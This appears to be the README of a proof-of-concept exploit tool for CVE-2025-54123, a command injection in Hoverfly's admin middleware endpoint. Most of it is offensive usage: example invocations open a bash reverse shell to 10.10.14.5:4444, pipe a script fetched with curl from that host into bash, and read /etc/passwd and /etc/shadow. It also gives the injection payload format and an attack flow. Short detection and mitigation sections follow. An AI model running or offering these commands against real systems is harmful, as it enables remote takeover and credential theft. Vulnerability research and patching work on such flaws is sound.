CVE-2025-54123 Exploit

Hoverfly Authenticated Middleware Command Injection RCE | CVSS 9.8 CRITICAL

Vulnerability

Hoverfly <= 1.11.3 is vulnerable to authenticated command injection through the /api/v2/hoverfly/middleware endpoint. Admin credentials are required, but once authenticated, the middleware functionality accepts user-supplied binary and script values without validation, allowing arbitrary command execution.

Vulnerability Chain

1. Insufficient Input Validation - middleware.go accepts arbitrary binary paths
2. Unsafe Command Execution - local_middleware.go directly passes user input to exec.Command()
3. Immediate Execution - hoverfly_service.go executes middleware during validation

Requirements

• Valid Hoverfly admin credentials (username/password)
• Access to Hoverfly Admin API (default port 8888)

Usage

python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> -c <COMMAND> [--shell SHELL]

• -t, --target - Hoverfly API endpoint (required)
• -u, --username - Admin username (required)
• -p, --password - Admin password (required)
• -c, --command - Command to execute (required)
• --shell - Shell binary to use (default: /bin/bash)

Examples

# Basic command execution
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami

# Read sensitive files
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"

# Reverse shell
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"

# Multi-command execution
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"

# Use different shell
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh

# Download and execute payload
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"

Attack Flow

1. Attacker authenticates with valid admin credentials (Basic Auth)
2. Sends PUT request to /api/v2/hoverfly/middleware with malicious payload
3. Hoverfly writes script to temporary file /tmp/hoverfly_<random>
4. During validation, executes: <shell> /tmp/hoverfly_<random>
5. Command output returned in error response STDOUT section
6. Exploit extracts and displays output

Payload Structure

{
    "binary": "/bin/bash",
    "script": "whoami"
}

HTTP headers include:

Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json

Impact

• Full Remote Code Execution with Hoverfly process privileges
• Credential Theft - steal API keys, tokens, secrets
• Internal Network Pivot - compromise adjacent systems
• Data Exfiltration - access simulation data, configurations
• Persistence - install backdoors, maintain access
• Service Disruption - modify/delete middleware configs

Vulnerable Code Locations

• core/middleware/middleware.go:94-96 - No input validation on binary parameter
• core/middleware/local_middleware.go:14-19 - Unsafe exec.Command() usage
• core/hoverfly_service.go:173 - Immediate execution during validation

Affected Versions

• Hoverfly <= 1.11.3
• All installations with Admin API accessible and authentication enabled

Detection

Look for:

• PUT requests to /api/v2/hoverfly/middleware
• Error responses containing "STDOUT:" with command output
• Temporary files in /tmp/hoverfly/
• Unusual process executions from hoverfly service

Mitigation

• Upgrade to patched version (if available)
• Restrict Admin API access to trusted IPs only
• Use strong authentication credentials
• Monitor /api/v2/hoverfly/middleware endpoint access
• Implement input validation on binary/script parameters

References

• CVE-2025-54123
• CWE-78 (OS Command Injection)
• CWE-20 (Improper Input Validation)
• GHSA-r4h8-hfp2-ggmf
• https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf
• https://nvd.nist.gov/vuln/detail/CVE-2025-54123

Credits

Original discovery: @Kr1shna4garwal